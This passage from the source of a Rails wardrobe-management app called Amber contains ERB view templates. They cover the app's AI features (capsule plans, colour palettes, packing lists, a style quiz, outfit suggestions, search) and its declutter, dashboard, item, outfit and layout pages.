        <span class="capsule-decision"><%= item["decision"].to_s.humanize %></span>
        <strong><%= item["title"] %></strong>
        <span class="dim"><%= item["reason"] %></span>
      </div>
    <% end %>
  </div>

  <% if @result["gap_items"]&.any? %>
    <section>
      <h2>Gap items to consider</h2>
      <p class="dim">Use these as intentional purchases, not impulse buys.</p>
      <ul><% @result["gap_items"].each do |gap_item| %><li><%= gap_item %></li><% end %></ul>
    </section>
  <% end %>
<% else %>
  <div class="empty"><p>Add more items to your wardrobe first.</p></div>
<% end %>

rails/amber/app/views/ai/color_palette.html.erb

<% content_for :title, "Colour Palette" %>
<h1>Wardrobe Colour Palette</h1>
<% if @result["palette"] %>
  <div class="ai-card">
    <p><strong>Palette:</strong> <%= @result["palette"] %></p>
    <% if @result["season_type"].present? %><p><strong>Seasonal type:</strong> <%= @result["season_type"] %></p><% end %>
  </div>
  <% if @result["clashing"]&.any? %>
    <h2>Clashing items</h2>
    <ul><% @result["clashing"].each do |i| %><li><%= i %></li><% end %></ul>
  <% end %>
  <% if @result["suggestions"]&.any? %>
    <h2>Suggestions</h2>
    <ul><% @result["suggestions"].each do |s| %><li><%= s %></li><% end %></ul>
  <% end %>
<% else %>
  <p class="dim">Not enough items to analyse.</p>
<% end %>
<p><%= link_to "← Dashboard", root_path %></p>

rails/amber/app/views/ai/declutter_guide.html.erb

<% content_for :title, "Declutter guide" %>
<h1>Declutter guide</h1>
<p><%= link_to "Declutter dashboard", declutter_index_path, class: "btn" %></p>
<% if @candidates.any? %>
  <p class="dim">Items to consider letting go:</p>
  <div class="item-grid"><%= render @candidates %></div>
<% else %>
  <p>No declutter candidates — your wardrobe is in great shape.</p>
<% end %>
<p><%= link_to "Back", items_path %></p>

rails/amber/app/views/ai/mood_board.html.erb

<% content_for :title, "Mood Board Match" %>
<h1>Mood board match</h1>
<%= form_with url: ai_mood_board_path, method: :get do |f| %>
  <div class="field">
    <%= f.label :description, "Describe the aesthetic or paste a style reference" %>
    <%= f.text_area :description, value: @description, rows: 3, class: "input input--wide" %>
  </div>
  <div class="actions"><%= f.submit "Match from wardrobe", class: "btn" %></div>
<% end %>
<% if @outfit_name.present? %>
  <div class="ai-card">
    <h2><%= @outfit_name %></h2>
    <p><%= @reasoning %></p>
  </div>
  <div class="item-grid"><%= render @items %></div>
<% end %>

rails/amber/app/views/ai/occasion_map.html.erb

<% content_for :title, "Occasion Coverage" %>
<h1>Occasion coverage map</h1>
<div class="occasion-grid">
  <% @coverage.each do |occasion, items| %>
    <div class="occasion-card occasion-card--<%= items.size < 2 ? 'sparse' : 'covered' %>">
      <h3><%= occasion.capitalize %></h3>
      <span class="occasion-count"><%= items.size %> items</span>
      <% if items.size < 2 %>
        <p class="dim occasion-warn">Gap — consider adding pieces</p>
      <% end %>
      <% items.first(3).each do |item| %>
        <div class="dim"><%= link_to item.title, item %></div>
      <% end %>
    </div>
  <% end %>
</div>
<p><%= link_to "← Dashboard", root_path %></p>

rails/amber/app/views/ai/packing_list.html.erb

<% content_for :title, "Packing list generator" %>

<h1>Packing list generator</h1>
<p class="dim">Select trip duration and climate. MASTER suggests outfits from your wardrobe.</p>

<%= form_with url: ai_packing_list_path, method: :get, class: "form" do |f| %>
  <div class="field">
    <label>Duration (days)</label>
    <%= f.select :duration, (1..14).map { |d| [d, d] }, { selected: params[:duration] } %>
  </div>
  <div class="field">
    <label>Climate</label>
    <%= f.select :climate, ["hot", "cold", "mild", "rainy", "dry"], { selected: params[:climate] } %>
  </div>
  <div class="actions"><%= f.submit "Generate with MASTER", class: "btn btn--primary" %></div>
<% end %>

<% if @result %>
  <h2>Suggested outfits for <%= @duration %>d <%= @climate %></h2>
  <% if @result["outfits"] %>
    <ul>
      <% @result["outfits"].each do |o| %>
        <li>
          <strong><%= o["name"] %></strong>
          <ul><% Array(o["items"]).each do |it| %><li><%= it %></li><% end %></ul>
        </li>
      <% end %>
    </ul>
  <% end %>
  <% if @result["tips"] %><p class="dim"><%= @result["tips"] %></p><% end %>
  <p>Packing list created (demo). View in planned or wardrobe.</p>
<% end %>

<%= link_to "Back to AI", ai_suggest_outfits_path %>

rails/amber/app/views/ai/search.html.erb

<% content_for :title, "Search Wardrobe" %>
<h1>Search your wardrobe</h1>
<%= form_with url: ai_search_path, method: :get do |f| %>
  <div class="field-row">
    <%= f.search_field :q, value: @query, placeholder: "e.g. something warm but not bulky for a meeting", autofocus: true, class: "input input--wide" %>
    <%= f.submit "Search", class: "btn" %>
  </div>
<% end %>
<% if @explanation.present? %>
  <p class="dim"><%= @explanation %></p>
<% end %>
<% if @items&.any? %>
  <div class="item-grid"><%= render @items %></div>
<% elsif @query.present? %>
  <p class="dim">No matches found.</p>
<% end %>

rails/amber/app/views/ai/style_profile.html.erb

<% content_for :title, "Style profile" %>

<h1>Style profile — 5 questions</h1>
<p class="dim">MASTER will infer your aesthetic: minimal, bold or classic.</p>

<%= form_with url: ai_style_profile_path, method: :post, class: "form" do |f| %>
  <div class="field">
    <label>1. Body type</label>
    <%= f.select :answers, { "Body type" => ["slim", "athletic", "curvy", "plus"] }, {}, { name: "answers[body_type]" } %>
  </div>
  <div class="field">
    <label>2. Lines vs patterns</label>
    <%= f.select :answers, { "Preference" => ["minimal clean lines", "bold patterns and colors"] }, {}, { name: "answers[lines]" } %>
  </div>
  <div class="field">
    <label>3. Timeless or trendy</label>
    <%= f.select :answers, { "Style" => ["classic timeless pieces", "trendy current styles"] }, {}, { name: "answers[timeless]" } %>
  </div>
  <div class="field">
    <label>4. Colors</label>
    <%= f.select :answers, { "Palette" => ["neutrals and basics", "vibrant pops of color"] }, {}, { name: "answers[colors]" } %>
  </div>
  <div class="field">
    <label>5. Fit</label>
    <%= f.select :answers, { "Fit" => ["tailored structured fits", "loose comfortable layers"] }, {}, { name: "answers[fit]" } %>
  </div>
  <div class="actions"><%= f.submit "Infer with MASTER", class: "btn btn--primary" %></div>
<% end %>

<%= link_to "Back to AI tools", ai_suggest_outfits_path %>

rails/amber/app/views/ai/suggest_outfits.html.erb

<% content_for :title, t("amber.outfits.suggest_title", default: "Outfit suggestions (MASTER vision)") %>
<h1><%= t("amber.outfits.suggest_title", default: "Outfit suggestions (MASTER vision)") %></h1>
<p class="dim"><%= t("amber.outfits.vision_hint", default: "MASTER vision analyses your item photos + metadata to pick 3-item combinations.") %></p>

<%= form_with url: ai_suggest_outfits_path, method: :get, class: "form" do |f| %>
  <div class="field">
    <label><%= t("amber.outfits.occasion", default: "Occasion") %></label>
    <%= f.text_field :occasion, value: params[:occasion], placeholder: t("amber.outfits.occasion_ph", default: "e.g. date, work, travel") %>
  </div>
  <div class="field">
    <label><%= t("amber.outfits.season", default: "Season") %></label>
    <%= f.select :season, Item::SEASONS, { selected: params[:season] }, { include_blank: t("amber.outfits.any", default: "Any") } %>
  </div>
  <div class="actions">
    <%= f.submit t("amber.outfits.generate_vision", default: "Generate with MASTER vision"), class: "btn btn--primary" %>
    <%= button_to t("amber.outfits.save_first", default: "Generate & save first as outfit"), ai_generate_outfit_path, method: :post, params: { occasion: params[:occasion], season: params[:season] }, class: "btn", form_class: "inline" %>
  </div>
<% end %>

<% if @suggestions.present? %>
  <% @suggestions.each_with_index do |s, i| %>
    <article class="ai-card">
      <h2><%= s["name"] || t("amber.outfits.option", default: "Option") + " #{i + 1}" %></h2>
      <p class="dim"><%= Array(s["items"]).join(", ") %></p>
      <p><%= s["description"] %></p>
      <% if s["outfit_id"] %>
        <p><%= link_to t("amber.outfits.view_generated", default: "View generated Outfit with visual"), outfit_path(s["outfit_id"]), class: "btn" %></p>
      <% end %>
    </article>
  <% end %>
<% else %>
  <p class="dim"><%= t("amber.outfits.empty_hint", default: "Submit the form to see vision-suggested outfits from your wardrobe photos.") %></p>
<% end %>

<p><%= link_to t("amber.outfits.back_wardrobe", default: "Back to wardrobe"), items_path %></p>

rails/amber/app/views/declutter/index.html.erb

<main>
  <header>
    <h1>Declutter</h1>
    <p>Review low-use, duplicate, and decision-ready wardrobe items.</p>
  </header>

  <% if @summary.present? %>
    <section>
      <h2>Summary</h2>
      <dl>
        <% @summary.each do |key, value| %>
          <dt><%= key.to_s.humanize %></dt>
          <dd><%= value %></dd>
        <% end %>
      </dl>
    </section>
  <% end %>

  <section>
    <h2>Duplicate groups</h2>
    <% if @duplicates.present? %>
      <% @duplicates.each do |group| %>
        <article>
          <% items = group.respond_to?(:items) ? group.items : Array(group[:items] || group["items"] || group) %>
          <h3><%= pluralize(items.size, "item") %></h3>
          <div class="items-grid">
            <% items.each do |item| %>
              <%= render "items/item", item: item %>
              <%= link_to "Review", review_declutter_path(item), class: "btn-sm" %>
            <% end %>
          </div>
        </article>
      <% end %>
    <% else %>
      <p>No duplicate groups need review.</p>
    <% end %>
  </section>
</main>

rails/amber/app/views/declutter/review.html.erb

<main>
  <header>
    <h1>Declutter review</h1>
    <p><%= @item.title %></p>
  </header>

  <section>
    <%= render "items/item", item: @item %>
  </section>

  <% if @score.present? %>
    <section>
      <h2>Score</h2>
      <p><%= @score %></p>
    </section>
  <% end %>

  <% if @action.present? %>
    <section>
      <h2>Recommended action</h2>
      <p><%= @action[:recommendation] || @action["recommendation"] || @action %></p>
    </section>
  <% end %>

  <section>
    <h2>Decision</h2>
    <%= form_with model: @review, url: update_review_declutter_path(@item), method: :patch do |form| %>
      <div>
        <%= form.label :decision %>
        <%= form.select :decision, %w[keep wear_this_week repair sell donate release], include_blank: true %>
      </div>

      <div>
        <%= form.label :reason_kept %>
        <%= form.text_field :reason_kept %>
      </div>

      <div>
        <%= form.label :notes %>
        <%= form.text_area :notes, rows: 4 %>
      </div>

      <%= form.submit "Save review" %>
    <% end %>
  </section>

  <section>
    <h2>Move item</h2>
    <nav>
      <% %w[keep wear_this_week repair sell donate release].each do |target| %>
        <%= button_to target.humanize, move_declutter_path(@item, target: target), method: :patch, class: "btn-sm" %>
      <% end %>
    </nav>
  </section>

  <section>
    <h2>Wear-it-this-week challenge</h2>
    <%= form_with url: challenge_declutter_path(@item), method: :post do |form| %>
      <div>
        <%= form.label :due_on %>
        <%= form.date_field :due_on %>
      </div>
      <div>
        <%= form.label :note %>
        <%= form.text_field :note %>
      </div>
      <%= form.submit "Create challenge" %>
    <% end %>
  </section>

  <% if @last_chance.present? %>
    <section>
      <h2>Last chance outfits</h2>
      <ul>
        <% @last_chance.each do |suggestion| %>
          <li><%= suggestion.respond_to?(:title) ? suggestion.title : suggestion %></li>
        <% end %>
      </ul>
    </section>
  <% end %>
</main>

rails/amber/app/views/home/index.html.erb

<% content_for :title, "Dashboard" %>
<% if authenticated? %>
  <% if @weather %>
    <div class="weather-bar">
      <%= @weather[:description] %> · <%= @weather[:temp] %>°C
      <% if @weather[:temp] < 10 %>· Wear layers<% elsif @weather[:temp] > 20 %>· Light fabrics<% end %>
    </div>
  <% end %>

  <header class="dash-stats">
    <dl>
      <div><dt>Items</dt><dd><%= @items_count %></dd></div>
      <div><dt>Spark joy</dt><dd><%= @joy_count %></dd></div>
      <div><dt>Never worn</dt><dd><%= @never_worn_count %></dd></div>
      <div><dt>Utilisation</dt><dd class="<%= @utilization_rate < 20 ? 'stat-warn' : '' %>"><%= @utilization_rate %>%</dd></div>
    </dl>
    <nav>
      <%= link_to "Add item", new_item_path, class: "btn" %>
      <%= link_to "Search wardrobe", ai_search_path, class: "btn" %>
      <%= link_to "Capsule plan", ai_capsule_path, class: "btn" %>
    </nav>
  </header>

  <% if @planned_this_week.any? %>
    <section>
      <h2>This week</h2>
      <div class="plan-list">
        <% @planned_this_week.each do |plan| %>
          <div class="plan-row">
            <span class="plan-date"><%= plan.planned_date.strftime("%a %-d") %></span>
            <%= link_to plan.outfit.name, plan.outfit %>
            <%= button_to "✕", planned_outfit_path(plan), method: :delete, class: "btn-link" %>
          </div>
        <% end %>
      </div>
    </section>
  <% end %>

  <% if @worst_cpw.any? %>
    <section>
      <h2>Worst cost-per-wear</h2>
      <div class="cpw-list">
        <% @worst_cpw.each do |item| %>
          <div class="cpw-row">
            <%= link_to item.title, item %>
            <span class="cpw-val">£<%= item.cost_per_wear %>/wear · worn <%= item.times_worn %>×</span>
          </div>
        <% end %>
      </div>
    </section>
  <% end %>

  <% if @aging_unworn.any? %>
    <section>
      <h2>Aging unworn</h2>
      <div class="item-grid"><%= render @aging_unworn %></div>
    </section>
  <% end %>

  <% if @recent_items.any? %>
    <h2>Recent</h2>
    <div class="item-grid"><%= render @recent_items %></div>
    <p><%= link_to "All items →", items_path %></p>
  <% else %>
    <p><%= link_to "Add your first item", new_item_path %></p>
  <% end %>
<% else %>
  <p>Welcome to Amber. <%= link_to "Sign in", new_session_path %> to manage your wardrobe.</p>
<% end %>

rails/amber/app/views/items/_form.html.erb

<%= form_with model: item, class: "form" do |f| %>
  <%= render "shared/errors", object: item %>
  <div class="field"><%= f.label :title %><%= f.text_field :title, autofocus: true %></div>
  <div class="field">
    <%= f.label :category %>
    <%= f.select :category, Item::CATEGORIES, include_blank: "Select…" %>
  </div>
  <div class="field"><%= f.label :color %><%= f.text_field :color %></div>
  <div class="field"><%= f.label :size %><%= f.text_field :size %></div>
  <div class="field"><%= f.label :material %><%= f.text_field :material %></div>
  <div class="field"><%= f.label :brand %><%= f.text_field :brand %></div>
  <div class="field"><%= f.label :price %><%= f.number_field :price, step: "0.01", min: 0 %></div>
  <div class="field"><%= f.label :purchase_date %><%= f.date_field :purchase_date %></div>
  <div class="field">
    <%= f.label :season %>
    <%= f.select :season, Item::SEASONS, include_blank: "Select…" %>
  </div>
  <div class="field">
    <%= f.label :occasion_tags, "Occasions (comma-separated)" %>
    <%= f.text_field :occasion_tags, placeholder: "work, casual, formal" %>
  </div>
  <div class="field">
    <%= f.label :mood_effect, "Mood effect" %>
    <%= f.select :mood_effect, Item::MOOD_EFFECTS, include_blank: "Not set" %>
  </div>
  <div class="field">
    <%= f.label :life_phase, "Life phase" %>
    <%= f.select :life_phase, Item::LIFE_PHASES, include_blank: "Not set" %>
  </div>
  <div class="field"><%= f.label :photos %><%= f.file_field :photos, multiple: true, accept: "image/*" %></div>
  <div class="actions"><%= f.submit class: "btn" %> <%= link_to "Cancel", items_path %></div>
<% end %>

rails/amber/app/views/items/_item.html.erb

<article class="item-card" id="<%= dom_id(item) %>" data-category="<%= item.category %>">
  <% if item.photos.attached? %>
    <%= image_tag item.photos.first.variant(resize_to_fill: [300, 300]), class: "item-photo" %>
  <% end %>
  <%= link_to item.title, item, class: "item-title" %>
  <span class="dim"><%= item.category %><%= " · #{item.color}" if item.color.present? %></span>
  <span class="dim">Worn <%= item.times_worn.to_i %>× · <%= item.value_label %></span>
  <nav>
    <%= button_to "Wear", wear_item_path(item), method: :post, class: "btn-sm" %>
    <% unless item.spark_joy? %>
      <%= button_to "Joy", spark_joy_item_path(item), method: :post, class: "btn-sm" %>
    <% end %>
    <%= link_to "Edit", edit_item_path(item), class: "btn-sm" %>
  </nav>
</article>

rails/amber/app/views/items/edit.html.erb

<% content_for :title, "Edit" %>
<h1>Edit <%= @item.title %></h1>
<%= render "form", item: @item %>

rails/amber/app/views/items/index.html.erb

<% content_for :title, "Wardrobe" %>
<%= turbo_stream_from "items" %>

<section data-controller="filter">
  <header>
    <div>
      <p class="dim">Closet intelligence</p>
      <h1>Wardrobe (<%= @pagy.count %>)</h1>
    </div>
    <nav>
      <%= link_to "Add item", new_item_path, class: "btn" %>
      <%= link_to "Plan outfit", new_outfit_path, class: "btn" %>
      <%= link_to "Shopping list (gaps)", shopping_list_items_path, class: "btn" %>
      <%= link_to "Style profile quiz", ai_style_profile_path, class: "btn" %>
      <%= link_to "Packing list generator", ai_packing_list_path, class: "btn" %>
      <%= link_to t("amber.nav.ai_suggest", default: "AI outfit suggestions (vision)"), ai_suggest_outfits_path, class: "btn" %>
      <%= link_to "Declutter", declutter_index_path, class: "btn" %>
      <%= button_to "Archive out-of-season", archive_seasonal_items_path, method: :post, class: "btn" %>
      <%= button_to "Resurface seasonal", resurface_seasonal_items_path, method: :post, class: "btn" %>
    </nav>
  </header>

  <div class="tag-row">
    <span class="tag"><%= pluralize(@items.sum { |item| item.times_worn.to_i }, "wear") %> on this page</span>
    <span class="tag"><%= @items.count(&:spark_joy?) %> joy keepers</span>
    <span class="tag"><%= @items.map(&:category).compact.uniq.size %> categories</span>
  </div>

  <div class="field">
    <label for="category-filter">Filter by category</label>
    <select id="category-filter" data-action="change->filter#filter" data-filter-target="select">
      <option value="">All</option>
      <% Item::CATEGORIES.each do |category| %>
        <option value="<%= category %>"><%= category %></option>
      <% end %>
    </select>
  </div>

  <div class="item-grid" id="items" data-filter-target="grid">
    <%= render @items %>
  </div>

  <% if @items.empty? %>
    <div class="empty">
      <p>No wardrobe items yet. Add your first item to start recommendations, capsules, and decluttering.</p>
    </div>
  <% end %>

  <%= pagy_nav(@pagy) if @pagy.pages > 1 %>
</section>

rails/amber/app/views/items/new.html.erb

<% content_for :title, "Add item" %>
<h1>Add item</h1>
<%= render "form", item: @item %>

rails/amber/app/views/items/shopping_list.html.erb

<% content_for :title, "Shopping list" %>

<h1>Shopping list — gaps to fill</h1>

<% if @gaps.any? %>
  <ul>
    <% @gaps.each do |gap| %>
      <li>
        <strong><%= gap[:category] || gap[:name] %></strong>
        <p><%= gap[:reason] %></p>
        <% if gap[:missing] %><span class="tag">missing <%= gap[:missing] %></span><% end %>
        <% if gap[:owned] %><span class="tag">owned <%= gap[:owned] %> / <%= gap[:target] %></span><% end %>
      </li>
    <% end %>
  </ul>
<% else %>
  <p>No gaps detected. Your wardrobe looks complete for essentials!</p>
<% end %>

<h2>MASTER purchase recommendations</h2>
<% if @recommendations.any? %>
  <ul>
    <% @recommendations.each do |rec| %>
      <li>
        <%= rec.reason %>
        <span class="tag">score <%= rec.score %></span>
      </li>
    <% end %>
  </ul>
<% else %>
  <p>No recommendations yet. Run the gap analysis or add more items.</p>
<% end %>

<%= link_to "Back to wardrobe", items_path, class: "btn" %>

rails/amber/app/views/items/show.html.erb

<% content_for :title, @item.title %>

<article class="item-detail">
  <% if @item.photos.attached? %>
    <div class="item-photos">
      <% @item.photos.each do |photo| %>
        <%= image_tag photo.variant(resize_to_limit: [600, 600]) %>
      <% end %>
    </div>
  <% end %>

  <header>
    <div>
      <p class="dim"><%= @item.category %><%= " · #{@item.brand}" if @item.brand.present? %></p>
      <h1><%= @item.title %></h1>
    </div>
    <% if @item.spark_joy? %><span class="badge">Sparks joy</span><% end %>
  </header>

  <div class="tag-row">
    <span class="tag"><%= pluralize(@item.times_worn.to_i, "wear") %></span>
    <% if @item.price? && @item.times_worn.to_i.positive? %>
      <span class="tag"><%= number_to_currency(@item.price / @item.times_worn.to_i) %> per wear</span>
    <% end %>
    <% if @item.lifecycle_state.present? %><span class="tag"><%= @item.lifecycle_state.humanize %></span><% end %>
  </div>

  <dl class="meta">
    <dt>Category</dt><dd><%= @item.category %></dd>
    <% if @item.color.present? %><dt>Color</dt><dd><%= @item.color %></dd><% end %>
    <% if @item.size.present? %><dt>Size</dt><dd><%= @item.size %></dd><% end %>
    <% if @item.material.present? %><dt>Material</dt><dd><%= @item.material %></dd><% end %>
    <% if @item.brand.present? %><dt>Brand</dt><dd><%= @item.brand %></dd><% end %>
    <% if @item.price? %><dt>Price</dt><dd><%= number_to_currency(@item.price) %></dd><% end %>
    <dt>Worn</dt><dd><%= @item.times_worn.to_i %> times</dd>
    <% if @item.purchase_date? %><dt>Purchased</dt><dd><%= @item.purchase_date.strftime("%b %Y") %></dd><% end %>
  </dl>

  <% if @item.mood_effect.present? || @item.life_phase.present? %>
    <div class="tag-row">
      <% if @item.mood_effect.present? %><span class="tag">Mood: <%= @item.mood_effect %></span><% end %>
      <% if @item.life_phase.present? %><span class="tag tag--phase"><%= @item.life_phase %></span><% end %>
    </div>
  <% end %>

  <section>
    <h2>Wardrobe intelligence</h2>
    <p class="dim">Use AI analysis for tags, mood, capsule fit, and declutter decisions.</p>
    <div id="item_<%= @item.id %>_analysis"></div>
    <div id="item_<%= @item.id %>_tags"></div>
  </section>

  <nav>
    <%= button_to "Worn today", wear_item_path(@item), method: :post, class: "btn" %>
    <%= button_to "AI analyse", ai_analyze_item_path(@item), method: :post, class: "btn" %>
    <%= button_to "AI tag mood", ai_tag_item_path(@item), method: :post, class: "btn" %>
    <%= link_to "Declutter review", review_declutter_path(@item), class: "btn" %>
    <%= link_to "Edit", edit_item_path(@item), class: "btn" %>
    <%= button_to "Delete", @item, method: :delete, data: { turbo_confirm: "Remove this item?" }, class: "btn btn-danger" %>
  </nav>
</article>

rails/amber/app/views/layouts/application.html.erb

<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="utf-8">
  <meta name="viewport" content="width=device-width,initial-scale=1">
  <meta name="theme-color" content="#1a1a1a">
  <meta name="turbo-cache-control" content="no-preview">
  <title><%= content_for?(:title) ? "#{yield :title} — Amber" : "Amber" %></title>
  <meta name="description" content="<%= content_for?(:description) ? yield(:description) : "Amber — AI wardrobe management. Build capsule wardrobes, plan outfits, and discover your personal style." %>">
  <link rel="canonical" href="<%= request.original_url.split("?").first %>">
  <meta property="og:site_name" content="Amber">
  <meta property="og:title" content="<%= content_for?(:title) ? yield(:title) : "Amber" %>">
  <meta property="og:description" content="<%= content_for?(:description) ? yield(:description) : "AI wardrobe management. Build capsule wardrobes, plan outfits, and discover your personal style." %>">
  <meta property="og:url" content="<%= request.original_url %>">
  <meta property="og:type" content="website">
  <meta name="twitter:card" content="summary">
  <meta name="twitter:title" content="<%= content_for?(:title) ? yield(:title) : "Amber" %>">
  <meta name="twitter:description" content="<%= content_for?(:description) ? yield(:description) : "AI wardrobe management. Build capsule wardrobes, plan outfits, and discover your personal style." %>">
  <%= csrf_meta_tags %>
  <%= csp_meta_tag %>
  <link rel="icon" href="/icon.png" type="image/png">
  <link rel="apple-touch-icon" href="/icon.png">
  <%= tag.link rel: "manifest", href: pwa_manifest_path(format: :json) %>
  <link rel="preconnect" href="https://fonts.googleapis.com">
  <link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
  <link href="https://fonts.googleapis.com/css2?family=Caprasimo&display=swap" rel="stylesheet">
  <%= stylesheet_link_tag "application", "data-turbo-track": "reload" %>
  <%= yield :json_ld %>
  <%= javascript_importmap_tags %>
  <%= render "shared/minimal_ui" %>
</head>
<body class="zen-minimal">
<nav>
  <%= link_to root_path, class: "brand", aria: { label: "Amber home" } do %>
    <%= render "shared/logo" %>
  <% end %>
  <% if authenticated? %>
    <%= link_to "Feed",      feed_posts_path %>
    <%= link_to "Post",      new_post_path %>
    <%= link_to "Wardrobe",  items_path %>
    <%= link_to "Outfits",       outfits_path %>
    <%= link_to "Style",         dressing_room_outfits_path %>
    <%= link_to "Planner",       planned_outfits_path %>
    <%= link_to "Search",    ai_search_path %>
    <%= link_to "Occasions", ai_occasions_path %>
    <%= link_to "Sign out",  session_path, data: { turbo_method: :delete } %>
  <% else %>
    <%= link_to "Sign in", new_session_path %>
    <%= link_to "Sign up", new_registration_path %>
  <% end %>
</nav>
<%= render "shared/flash" %>
<main><%= yield %></main>
</body>
</html>

rails/amber/app/views/layouts/mailer.html.erb

<!DOCTYPE html>
<html>
  <head>
    <meta http-equiv="Content-Type" content="text/html; charset=utf-8">
    <style>
      /* Email styles need to be inline */
    </style>
  </head>

  <body>
    <%= yield %>
  </body>
</html>

rails/amber/app/views/layouts/mailer.text.erb

<%= yield %>

rails/amber/app/views/outfits/_form.html.erb

<%= form_with model: outfit, class: "form" do |f| %>
  <%= render "shared/errors", object: outfit %>
  <div class="field"><%= f.label :name %><%= f.text_field :name, autofocus: true %></div>
  <div class="field"><%= f.label :description %><%= f.text_area :description, rows: 3 %></div>
  <div class="field">
    <%= f.label :category %>
    <%= f.select :category, %w[Casual Formal Work Workout Evening], include_blank: "Select…" %>
  </div>
  <div class="field">
    <%= f.label :season %>
    <%= f.select :season, Item::SEASONS, include_blank: "Select…" %>
  </div>
  <div class="field"><%= f.label :occasion %><%= f.text_field :occasion %></div>
  <div class="actions"><%= f.submit class: "btn" %> <%= link_to "Cancel", outfits_path %></div>
<% end %>

rails/amber/app/views/outfits/_outfit.html.erb

<article class="item-card" id="<%= dom_id(outfit) %>">
  <% if outfit.image.attached? %>
    <%= link_to outfit, class: "item-title" do %>
      <%= image_tag outfit.image.variant(resize_to_limit: [200, 200]), style: "max-width:100%; height:auto;" %>
    <% end %>
  <% end %>
  <%= link_to outfit.name, outfit, class: "item-title" %>
  <span class="dim"><%= outfit.context_label.presence || "No context yet" %></span>
  <span class="dim"><%= outfit.items.count %> items · <%= outfit.likes_count.to_i %> likes</span>
  <span class="dim"><%= pluralize(outfit.total_wears, "combined wear") %></span>
</article>

rails/amber/app/views/outfits/dressing_room.html.erb

<% content_for :title, "Style" %>
<%
  zones_json = @zones.transform_values { |items|
    items.map { |item|
      { id: item.id, name: item.title, color: item.color.to_s,
        url: item.photos.attached? ? url_for(item.photos.first.variant(resize_to_limit: [480, 480])) : nil }
    }
  }.to_json
%>

<div class="dressing-room" data-controller="wardrobe-carousel" data-wardrobe-carousel-zones-value="<%= zones_json %>">

  <div class="mannequin-stage">
    <div class="mannequin">
      <svg class="mannequin-svg" viewBox="0 0 160 390" xmlns="http://www.w3.org/2000/svg" aria-hidden="true">
        <ellipse cx="80" cy="34" rx="26" ry="30" fill="#2a2a2a"/>
        <rect x="73" y="63" width="14" height="15" rx="2" fill="#2a2a2a"/>
        <path d="M 25 78 Q 14 84 12 98 L 10 200 L 150 200 L 148 98 Q 146 84 135 78 L 108 70 Q 80 66 52 70 Z" fill="#2a2a2a"/>
        <path d="M 10 200 L 6 240 Q 20 254 80 256 Q 140 254 154 240 L 150 200 Z" fill="#2a2a2a"/>
        <path d="M 6 238 L 2 372 L 46 372 L 78 256 Q 20 254 6 238 Z" fill="#2a2a2a"/>
        <path d="M 154 238 L 158 372 L 114 372 L 82 256 Q 140 254 154 238 Z" fill="#2a2a2a"/>
        <path d="M 1 372 L 50 372 L 54 386 L 0 386 Z" fill="#1a1a1a"/>
        <path d="M 110 372 L 159 372 L 160 386 L 106 386 Z" fill="#1a1a1a"/>
        <ellipse cx="80" cy="34" rx="26" ry="30" fill="none" stroke="#444" stroke-width="0.5"/>
        <path d="M 25 78 Q 14 84 12 98 L 10 200 L 150 200 L 148 98 Q 146 84 135 78 L 108 70 Q 80 66 52 70 Z" fill="none" stroke="#444" stroke-width="0.5"/>
      </svg>

      <div class="zone zone--head">
        <img src="" alt="" loading="lazy">
      </div>
      <div class="zone zone--top">
        <img src="" alt="" loading="lazy">
      </div>
      <div class="zone zone--bottom">
        <img src="" alt="" loading="lazy">
      </div>
      <div class="zone zone--shoes">
        <img src="" alt="" loading="lazy">
      </div>
    </div>
  </div>

  <div class="zone-carousels">
    <% { head: "Accessories", top: "Tops", bottom: "Bottoms", shoes: "Shoes" }.each do |zone, label| %>
      <div class="zone-row">
        <span class="zone-tag"><%= label %></span>
        <button class="carousel-btn" data-action="wardrobe-carousel#prev" data-wardrobe-carousel-zone-param="<%= zone %>" aria-label="Previous <%= label %>"></button>
        <span class="zone-info">
          <span data-zone-label="<%= zone %>"></span>
          <span class="zone-count" data-zone-count="<%= zone %>"></span>
        </span>
        <button class="carousel-btn" data-action="wardrobe-carousel#next" data-wardrobe-carousel-zone-param="<%= zone %>" aria-label="Next <%= label %>"></button>
      </div>
    <% end %>
  </div>

  <div class="dressing-room-actions">
    <%= link_to "Save as outfit", new_outfit_path, class: "btn" %>
  </div>
</div>

rails/amber/app/views/outfits/edit.html.erb

<% content_for :title, "Edit outfit" %>
<h1>Edit <%= @outfit.name %></h1>
<%= render "form", outfit: @outfit %>

rails/amber/app/views/outfits/index.html.erb

<% content_for :title, "Outfits" %>
<%= turbo_stream_from "outfits" %>

<header>
  <div>
    <p class="dim">Style combinations</p>
    <h1>Outfits</h1>
  </div>
  <nav>
    <%= link_to "New outfit", new_outfit_path, class: "btn" %>
    <%= link_to "Dressing room", dressing_room_outfits_path, class: "btn" %>
    <%= link_to t("amber.nav.ai_suggest", default: "AI outfit suggestions (vision)"), ai_suggest_outfits_path, class: "btn" %>
  </nav>
</header>

<div class="tag-row">
  <span class="tag"><%= pluralize(@outfits.sum { |outfit| outfit.items.count }, "linked item") %></span>
  <span class="tag"><%= pluralize(@outfits.sum { |outfit| outfit.likes_count.to_i }, "like") %></span>
  <span class="tag"><%= pluralize(@outfits.sum(&:total_wears), "combined wear") %></span>
</div>

<div class="item-grid" id="outfits"><%= render @outfits %></div>

<% if @outfits.empty? %>
  <div class="empty"><p>No outfits yet. Start with a capsule, event, season, or mood.</p></div>
<% end %>

<%= pagy_nav(@pagy) if @pagy.pages > 1 %>

rails/amber/app/views/outfits/new.html.erb

<% content_for :title, "New outfit" %>
<h1>New outfit</h1>
<%= render "form", outfit: @outfit %>

rails/amber/app/views/outfits/show.html.erb

<% content_for :title, @outfit.name %>

<header>
  <div>
    <p class="dim"><%= @outfit.context_label.presence || "Outfit" %></p>
    <h1><%= @outfit.name %></h1>
  </div>
</header>

<div class="tag-row">
  <span class="tag"><%= pluralize(@outfit.items.count, "item") %></span>
  <span class="tag"><%= pluralize(@outfit.likes_count.to_i, "like") %></span>
  <span class="tag"><%= pluralize(@outfit.total_wears, "combined wear") %></span>
  <% if @outfit.estimated_value.positive? %><span class="tag"><%= number_to_currency(@outfit.estimated_value) %> wardrobe value</span><% end %>
</div>

<% if @outfit.description.present? %>
  <p><%= @outfit.description %></p>
<% else %>
  <p class="dim">Add a description to capture why this outfit works.</p>
<% end %>

<% if @outfit.image.attached? %>
  <div class="outfit-visual">
    <%= image_tag @outfit.image, style: "max-width: 400px; height: auto;" %>
  </div>
<% end %>

<section>
  <h2>Items</h2>
